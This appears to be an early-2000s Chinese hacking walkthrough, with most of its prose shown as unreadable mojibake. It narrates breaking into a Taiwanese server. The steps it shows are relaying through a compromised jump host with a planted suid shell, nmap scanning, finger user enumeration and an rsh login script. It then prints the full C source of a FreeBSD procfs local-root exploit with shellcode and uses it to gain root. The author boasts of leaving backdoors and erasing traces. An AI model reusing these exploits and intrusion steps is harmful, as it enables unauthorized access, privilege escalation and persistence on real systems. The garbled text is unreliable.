±¾ÎĵÄд×÷Ä¿µÄ½ö½öÊÇΪÁ˸øÄ³Ð©´ÖÐÄ´óÒâµÄÍøÂç¹ÜÀíÈËÔ±Ò»¸ö¾¯¸æ¡ª¡ªinternetÊÇ ÓÐȤµ«Ê®·Ö´àÈõµÄ£¬µ±ÄãµÄ¼ÆËã»ú·ÅÔÚ»¥ÁªÍøÉϸøÈËÃÇÌṩÐÅÏ¢Óë·þÎñµÄͬʱ£¬»áÒý À´ÍøÂçÖеġ°ºÃÆæÕß¡±µÄ¿ú̽¡£¶ø°²È«ÐÔÓë±ãÀûÐÔÊÇÒ»¶Ôì¶Ü¡¡ÔÚÄã¶Ô×Ô¼ºµÄÍøÂç ×öÁËÒ»¸ö°²È«²ßÂÔ¿¼Á¿Ö®ºó£¬ÄãÓ¦¸ÃÈ·¶¨ÄãÔ¸ÒâÒÔ¶à´óµÄ·çÏÕÀ´Ê¹ÓÃһЩ·½±ãµÄ·þÎñ£¬ µ±È»ÕâЩ·þÎñ¡ª¡ª±ÈÈçrlogin£¬¿ÉÄÜÖ»»áʹÄãÉÙÊäÈëÒ»´ÎÃÜÂë¡¡
Ê×ÏÈÊÇÈ·¶¨Ä¿±ê¡ª¡ª×²´óÔËÂÒÌôÒ»¸ö°É£¬ÊÔÊÔÄܲ»Äܳɹ¦¡¡ºÇ£¬ÓÚÊǵÇÉÏyahoo£¬ÉÏ taiwanµÄÕ¾µãСåÞÁËһϡ¡ßí£¬Õâ¸ö»¹²»´í£¬ÎÒÃǹÃÇÒ³ÆÆäΪwww.targe.com¡¡»¹ ÊÇÏÈpingһϿ´¿´ÇéÊÆÈçºÎ¡ª¡ª±ðÅöÉÏÓÐǽµÄ¾ÍÑ·ÁË¡¡
C:>ping www.targe.com
Pinging www.targe.com [111.111.111.111] with 32 bytes of data:
Reply from 111.111.111.111: bytes=32 time=621ms TTL=241
Reply from 111.111.111.111: bytes=32 time=620ms TTL=241
Reply from 111.111.111.111: bytes=32 time=611ms TTL=241
Reply from 111.111.111.111: bytes=32 time=591ms TTL=241
ËÙ¶È»¹ÊǺܿìµÄÂï¡¡ÄǾͿªÊ¼°É¡¡
ÏȵÇÉÏÄ³Ì¨Ìø°ą̊ÍåµÄ»úÆ÷¡ª¡ªÕâÑù°²È«Ò»Ð©£¬²»»áÁôÏÂÄã×Ô¼ºµÄIP¡¡(µ±È»£¬Ëµ¾ä ÌâÍâ»°¡ª¡ªÕâÑùҪ׷²éµ½»¹²»ÊǺÜÀ§ÄÑ£¬Ôø¾ÓиöÅóÓÑͬÎÒ˵¹ý£¬ÄÏ·½Ä³´óѧһ´Î±» ºÚ£¬ÖÖÖÖ¼£Ïó¶¼±íÃ÷ºÚ¿ÍÀ´×ÔÃÀ¹ú£¬IP¡¢¸ü¸ÄºóÖ÷Ò³ÉÏÁôÏµĻ°Óï¡¡ÅóÓÑÊÜÍÐÈ¥²¹ ©²éÔ´£¬·¢ÏÖÄÇIPÊÇÃÀ¹úÒ»¸öÌṩÃâ·ÑshellµÄ·þÎñ¹©Ó¦ÉÌ¡¡ÓÚÊÇÉêÇëÁËÒ»¸öshell£¬ ͨ¹ýһϵÁж¯×÷³ÉΪroot£¬²é¿´ÏµÍ³ÈÕÖ¾¡ª¡ªÕæÏà´ó°×£¬IP¾ÓȻָÏòÄǼҴóѧ×ÔÉí)¡£
ͨ¹ýÌø°å»¹ÓÐÒ»¸öºÃ´¦¡ª¡ªÈç¹ûÄãµÄ³¢ÊÔʧ°Ü£¬ÔÚϵͳÈÕÖ¾ÀïÁôÏÂÀ´µÄÊÇ̨Íå±¾ÍÁµÄ IP£¬ÕâÑùµÄµÇ½ʧ°ÜÃüÁî±È½Ï²»»áÒýÆðϵͳ¹ÜÀíÔ±µÄ×¢Òâ¡¡
C:>nc ***.***.***.*** 12345
¾ÍµÇÉÏÌø°åÁË£¬12345¶Ë¿ÚÀïÎÒÔ¤ÁôÁËÒ»¸ösuidµÄshell¡¡
ºÃÁË£¬¼ÀÆð±¦µ¶¡ª¡ªnmap¡¡
# ./nmap -sT -O 111.111.111.111
Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on www.targe.com (111.111.111.111):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
19 open tcp chargen
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
37 open tcp time
79 open tcp finger
80 open tcp http
111 open tcp sunrpc
443 open tcp https
512 open tcp exec
513 open tcp login
514 open tcp shell
515 open tcp printer
540 open tcp uucp
3306 open tcp mysql
TCP Sequence Prediction: Class=random positive increments
Difficulty=55346 (Worthy challenge)
No OS matches for host (If you know what OS is running on it
¡¡¡¡
¡¡¡¡
Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds
ßí£¬ÔËÆø»¹²»´í£¬ÌṩµÄ·þÎñ²»ÉÙ£¬¹À¼ÆÂ©Ò²ÉÙ²»µ½ÄĶùÈ¥¡¡Ö»ÊÇûÅжϳöϵͳ
ÀàÐÍ£¬ÕâЩ·þÎñÀï¿´ÉÏÈ¥¿ÉÒÔÀûÓõÄÓУº
Port State Protocol Service
21 open tcp ftp
25 open tcp smtp
79 open tcp finger
80 open tcp http
111 open tcp sunrpc
512 open tcp exec
513 open tcp login
514 open tcp shell
540 open tcp uucp
3306 open tcp mysql
×î½ürpc¹¥»÷·Ç³£Á÷ÐУ¬ÔÒòÖ®Ò»¿ÖÅÂÊÇ·½±ãÒ×ÐСª¡ªÖ»Òª´æÔÚ©¶´£¬Ô¶³Ì¾Í¿ÉÒÔ
µÃµ½Ò»¸örootshell¡¡ÉõÖÁ¶Ô¼ÆËã»úÍêÈ«²»¶®µÄÍâÐÐÒ²ÄÜÇáÒ×ʵʩ£¬ºÇ£¬ÄÇÔÛÃÇ
À´¿´¿´Õâ¸ö111 portµÄsunrpcÀïÓÐʲô°ÂÃî°É¡¡
# rpcinfo -p 111.111.111.111&
21404
# program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
ß×£¬¿´À´Ã»Ï·³ªÅ¶¡¡ºÃÔÚ»¹ÓÐÄÇô¶à·þÎñ£¬´ýżÂýÂýÊÔÀ´¡¡
¿´¿´ÊÇʲôFTP·þÎñÆ÷Èí¼þ°É£¬Ëµ²»¶¨ÓÐÔ¶³ÌÒç³öµÄ©¶´ÄØ
# ./nc 111.111.111.111 21
#
¹Ô¹ÔÁúµÄ¶«£¬Ê²Ã´Êä³öҲûÓо͹ØÉÏÁË£¬ÕâÊÇÈçºÎÒ»»ØÊ£¿
C:>ftp 111.111.111.111
Connected to 111.111.111.111.
Connection closed by remote host.
ºÇºÇ£¬¿´À´¹ýÂ˵ôÁËÂï¡¡Ôõô°ì£¿¿´¿´25¶Ë¿ÚÊÇÔËÐÐʲôSMTP·þÎñµÄ°É¡¡
# ./nc 111.111.111.111 25
220 ***-***-***-*** ESMTP Sendmail 8.9.3/8.9.3; Wed, 5 Apr 2000 08:56:59 GMT
Sendmail 8.9.3/8.9.3£¿ºÃÏóûÓÐʲôÖÂÃüµÄ©¶´Ñ½¡¡
¿´¿´ÊÇʲôWEB·þÎñÆ÷ÏÈ¡¡
# (echo "head /http/1.0";echo;echo)|./nc -w 3 111.111.111.111 80
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
head to /http/1.0 not supported.<P>
Invalid method in request head /http/1.0<P>
<HR>
<ADDRESS>Apache/1.3.9 Server at ***-***-***-*** Port 80</ADDRESS>
</BODY></HTML>
°¢ÅÁÆæÕâ¸ö°æ±¾µÄ¶«¶«ÖÁÉÙżµÄÓ¡ÏóÖÐûÓÐʲô¡°ËÀѨ¡±¡¡
ºÃÔÚ¿ªÁËfinger£¬°³¾ÍÍÁÍÁµØÏȰÑÓû§ÁбíŪ³öÀ´°É¡¡
finger O@www.targe.com
[www.targe.com.tw]
root
aaa
bbb
ccc
ddd
×ÜËãÓеãÊÕ»ñ¡¡£¬ÄÇôÏÂÒ»²½¸Ã×öÊ²Ã´ÄØ£¿¼ÈÈ»Õą̂Ö÷»ú¿ªÁË512¡¢513¡¢514µÄr
ϵÁзþÎñ£¬ÄǾÍÖµµÃ³¢ÊÔһϣ¬Ëµ²»¶¨Äĸö͵ÀÁµÄ¼Ò»ïÖ±½ÓÔÚ.rhostsÀïÉèÁË
+ username
ÄÇÎÒ¾ÍˬÁË¡¡
˳ÊÖдÁ˸öshell script£¬ÈÃËüÈ¥Ò»¸öÒ»¸öµØ³¢ÊÔrshÃüÁ´«µ½È⼦ÉÏ
# chmod 700 rsh.sh
# nohup ./rsh.sh www.targe.com
Ëü»á×Ô¶¯µØÔÚ/etc/passwdºÍ/etc/shadowÀï¼ÓÉÏfinger³öÀ´µÄÓû§Ãû£¬È»ºósu¹ýÈ¥£¬
ÔÙ¶ÔÔ¶³ÌÄ¿±ê111.111.111.111Ö´ÐÐrshÃüÁ³É¹¦Ôò·µ»Ø¸ÃÓû§Ãû¡¡È»ºó½«±¸·ÝµÄ
passwdºÍshadowÔÙ¿½»ØÈ¥¡¡É¾³ýÁÙʱÎļþ£¬Éú³É±¨¸æÎļþ¡¡(»òÐíÊÇÎÒ¶Ô.rhosts
µÄÀí½â»¹ÓÐÎÊÌ⣬ÓÐʱÎÒÔÚ»úÀï¼ÓÉÏ+ +µ«rcpʱ»¹»á±¨Permission denied»òÕßconnect
refused,ËùÒԸɴ඼su³ÉÓû§¡ª¡ª»òÐíÌ«±¿;)
ÎÒ±ãÔÙÈ¥MUDÀïµ±ÎҵĴóϺÁË¡¡°ë¸öСʱºó»ØÀ´
µÇÉÏÈ⼦£¬¶ÁÈ¡±¨¸æÎļþ.rsh.txt
# cat ./.rsh.txt
ccc
hehe£¬·Ç³£±§Ç¸£¬¿´À´°³µÃµ½Ò»¸öshellÁË¡¡
½øÈ¥¿´¿´¡¡
# rlogin -l ccc 111.111.111.111
Last login: Fri Mar 24 19:04:50 from 202.102.2.147
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
The Regents of the University of California. All rights reserved.
FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999
You have mail.
ºÇ£¬ÔÀ´ÊÇFreeBSD 3.2-RELEASEѽ£¬¸Ð¾õ²»´í£¬½øÀ´ÁË£¬¿´¿´ÎÒµÄȨÏÞÈçºÎ°É¡¡
> id
id
uid=1003(ccc) gid=1003(ccc) groups=1003(ccc)
¿´À´ÄÜ×öµÄÊ»¹Ï൱ÓÐÏÞàÞ¡¡ÔÙ¿´¿´ÏµÍ³ÀïÓÐûÓбðÈËÏÈ¡¡
> w
w
9:03PM up 6 days, 2:37, 3 users, load averages: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE WHAT
ccc p0 **.**.***.*** 6:04PM 2:41 -tcsh (tcsh)
²»´í£¬¾ÍÎÒ×ÔÔÚåÐÒ£¡¡¿´¿´passwd°É¡¡
> cat /etc/passwd
cat /etc/passwd
root:*:0:0:Charlie &:/root:/usr/local/bin/bash
aaa:*:1005:2000::/home/www:/usr/local/bin/tcsh
bbb:*:1006:1006::/home/bbb:/usr/local/bin/tcsh
ccc:*:1003:1003::/home/ccc:/usr/local/bin/tcsh
ddd:*:1008:1008:ddd:/home/www:/usr/local/bin/tcsh
eee:*:1009:1009:eee:/home/eee:/usr/local/bin/tcsh
ºÜÃ÷ÏÔ/home/www¾ÍÊÇwwwÓû§µÄÖ÷Ŀ¼ÁË¡¡ÏÈ¿´¿´°³ccc¶Ô¸ÃĿ¼ÓÐûÓÐдȨÏÞ
> echo test >/home/www/test
test: Permission denied.
¿´À´Èç¹ûÏë¸ÄËûµÄÖ÷Ò³£¬»¹µÃÁíÍâÏë°ì·¨À²¡¡²»¹ý¶¼ÒѾÓÐÁËÒ»¸öÓû§shellÁË£¬×î
¸ßȨÏÞÆäʵҲֻÓÐÒ»²½Ö®Ò£À²£¬ºÃ°É£¬··Êý¾Ý¿âÀïÓÐʲô¹ØÓÚFreeBSD 3.2µÄ¼Ç¼£¬
¿´À´¶«Î÷²»¶àѽ¡¡¶øÇÒÓÐЩ»¹Êǰ²×°ÍâÀ´Èí¼þ°üÖ®ºó²Å´øÀ´µÄ·çÏÕ¡¡
ÏÈ¿´¿´ÓÐûÓбàÒëµÄȨÏÞÔÙ˵°É£¬·ñÔò»¹µÃÕÒһ̨BSDÀ´±àÒë¡¡
> ls /usr/local/bin|grep gcc
gcc
Ò»°ãÇé¿öÏÂ×Ô¼º°²×°µÄgccÊÇ»áÔÚÕâ¸öĿ¼µÄÀ²£¬·ñÔò×îºÃfindһϱȽϱ£ÏÕ¡£
ÕâÏ·½±ãÁË¡¡¿ÉÒÔÖ±½Ó´«´úÂëÉÏÀ´ÊÔ¡¡
ÊÔÁ˼¸¸öÖ®ºóÎÒÕÒµ½Õâô¸ö¶«Î÷£º
/* by Nergal */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>
char shellcode[] =
"xebx0ax62x79x20x4ex65x72x67x61x6cx20"
"xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f"
"x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52"
"x51x53x50xebx18xe8xd8xffxffxff/bin/shx01x01x01x01"
"x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04x00";
#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int pid,schild;
int fd;
char buff[40];
unsigned int status;
char *ptr;
char name[4096];
char sc[4096];
char signature[] = "signature";
signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc>1)
shaddr+=atoi(argv[1]);
if (argc>2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%xn",shaddr,stack);
fprintf(stderr,"Wait for "Press return" prompt:n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,'x',sizeof(name));
for (ptr = name; ptr < name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;
pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd < 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:
dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failedn");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "nPress return.n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);
}
}
ż˵һÏÂÕâ¸ö©¶´µÄÓÉÀ´°É£º
ÔçÔÚ1997ÄêÔÚ*BSDÀï¾Í·¢ÏÖÁËÒ»¸öÖÂÃü©¶´´æÔÚÓÚprocfs¿ÉÒÔµ¼Ö±¾µØÓû§¶áÈ¡root
ȨÏÞ£¬*BSDºËÐÄÖÐ×öÁ˼òµ¥µÄÐÞ²¹£¬µ«²»ÐÒµÄÊÇ£¬Ê±ÖÁ½ñÈÕ£¬ÎÒÃÇÈÔÈ»¿ÉÒÔͨ¹ý¶Ô
/proc/pid/memµÄ²Ù×÷¶áÈ¡rootȨÏÞ¡¡µ±È»£¬ÒªÀûÓÃÕâ¸ö³ÌÐòÄÃROOT£¬procfsÎļþϵͳ
±ØÐëÊÇmountedµÄ£¬ÔÚĬÈϵÄFreeBSD3.3ÀïÊÇmounted×ŵġ£ÎÒÃÇÏÈÀ´¿´¿´Õą̂»úÆ÷ÉϵÄ
Çé¿öÈçºÎ£¬±ð°×æһ³¡¡¡
# /sbin/mount
/dev/wd0s1a on / (local, writes: sync 12 async 134)
/dev/wd0s1h on /home (local, writes: sync 2 async 120)
/dev/wd0s1f on /usr (local, writes: sync 2 async 93)
/dev/wd0s1g on /usr/local (local, writes: sync 2 async 16)
/dev/wd0s1e on /var (local, writes: sync 118 async 498)
procfs on /proc (local)
ºÇºÇ²»´í£¬¿´µ½Ã»ÓÐÄÇprocfs on×ÖÑù£¿¿´À´ÀÏÌì°ïæÁË¡¡
Ò»¸öÎÞÌØÈ¨µÄ½ø³ÌA×ÔÎÒµ÷ÓÃ×Ó½ø³ÌB£¬A´ò¿ª/proc/pid-of-B/mem£¬BÖ´ÐÐÒ»¸ösetuidµÄ
¶þ½øÖƳÌÐò£¬ÏÖÔÚBÓëAµÄeuidÒѾ²»Í¬ÁË£¬µ«AÈÔȻͨ¹ý/proc/pid-of-B/memµÄÃèÊö·û¿Ø
ÖÆB½ø³Ì£¬¾Í¿ÉÄÜ×öºÜ¶àÊÂÁË¡¡
In order to stop this exploit, an additional check was added to the code
responsible for I/O on file descriptors referring to procfs pseudofiles. In
miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
/*
* Check to see whether access to target process is allowed
* Evaluates to 1 if access is allowed.
*/
#define CHECKIO(p1, p2)
((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) &&
((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) &&
((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) &&
((p2)->p_flag & P_SUGID) == 0) ||
(suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
As we see, process performing I/O (p1) must have the same uids as
target process (p2), unless... p1 has root priviledges. So, if
we can trick a setuid program X into writing to a file descriptor
F referring to a procfs object, the above check will not prevent
X from writing. As some of readers certainly already have guessed,
F's number will be 2, stderr fileno... We can pass to a setuid
program an appropriately lseeked file descriptor no 2 (pointing to
some /proc/pid/mem), and this program will blindly write there
error messages. Such output is often partially controllable (e.g.
contains program's name), so we can write almost arbitrary data
onto other setuid program's memory.
This scenario looks similar to
close(fileno(stderr)); execl("setuid-program",...)
exploits, but in fact differs profoundly. It exploits the fact
that the properties of a fd pointing into procfs is not
determined fully by "open" syscall (all other fd are; skipping
issues related to securelevels). These properties can change
because of priviledged code execution. As a result, (priviledged)
children of some process P can inherit a fd opened read-write,
though P can't directly gain such fd via open syscall.
ÀÁµÃ°ÑËüŪ³ÉÖÐÎĵÄÁË¡¡¸ÐÐËȤÔò¿´£¬²»¸ÐÐËȤ¾ÍÌø¹ý°É¡¡
ºÃ£¬ÄǾͰÑ©¶´ÀûÓóÌÐòrcp¹ýÈ¥°É
>rcp root@***.***.***.**:/tmp/pcnfs.c /tmp/
ÆäÖÐ***.***.***.**ÊÇÒÔǰµÄÒ»¸öµ¹Ã¹µ°£¬/ϱ»¼ÓÁË+ +µÄ¼Ò»ï¡¡
±àÒëÔËÐСª¡ª¿ÉÄܵöԳÌÐò×öһЩССµÄ¸ü¸Ä¡¡
>gcc pcnfs.c -o p
>./p -4000 -10000
shellcode addr=0xbfbfcd4c stack=0xbfbfaddc
Wait for "Press return" prompt:
New password:
Press return.
id
uid=1003(ccc) gid=1003(ccc) euid=0(root) groups=1003(ccc)
wowowo!ÎÒÊÇrootÀ²¡¡¹þ¹þ£¬Ò²¾ÍÊÇ˵£¬°³ÏÖÔÚÔÚÕâ¸öϵͳÀï¿ÉÒÔΪËùÓûΪÁË¡¡
ÔÙÊÔÊÔ¶Ô/home/wwwĿ¼ÓÐûÓÐдȨÏÞ°É¡¡
echo test>/home/www/test.txt;ls /home/www|grep test
test.txt
ºÇ£¬ºÃÁË£¬´ó¹¦¸æ³É¡¡Ò»°ãÇé¿öÏÂ×öµ½Õâ²½ºóÄãÔÀ´ÐÞ¸ÄÖ÷Ò³µÄÓûÍû¾Í»áÏûÉ¢ÁË£¬±Ï ¾¹ÔÛÃDz»ÊÇÒÔÆÆ»µÏµÍ³ÎªÀÖµÄÈË£¬ÎÒÃÇÖ»ÊÇÏ£ÍûÍøÂçÉç»á¸ü¼Ó½¡¿µ£¬ËùÒÔ¡ª¡ª°³Ò²Ã»¸Ä ʲô¶«Î÷£¬Ö»ÊÇÁôÁ˼¸¸öºóÞÍbye-byeÁË¡¡ÔÛÃÇÓÐÌ«¶àµÄϵͳ¿É¹©Ñ§Ï°£¬Ö»ºÃÔÚÕâЩ Ô¶³Ì»úÆ÷É϶àѧ¶à¿´ÁË¡ª¡ªËùÒÔ£¬Áô¸öºóÃÅ»¹ÊDZØÒªµÄÀ²¡£
µ±È»²Á½ÅÓ¡µÈµÈ»î»¹ÊÇÒª¸ÉµÄ£¬ÈÃÈË·¢ÏÖÏµÍ³Ôø¾ÓÐÈ˳¢ÊÔ¹ýÈëÇÖ¾¿¾¹²»ÊÇÒ»¼þºÃÊ¡£Íò ÊÂOKºó¾Í¿ÉÒÔ×ßÈËÁË¡£
Õâ¸örootÓÐÖØÐÂÆô¶¯ÏµÍ³µÄ»µÏ°¹ß£¬ÈýÌìºóÎÒÔÙµÇÉÏϵͳʱ£¬·¢ÏÖ
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
5(operator), 20(staff), 31(guest)
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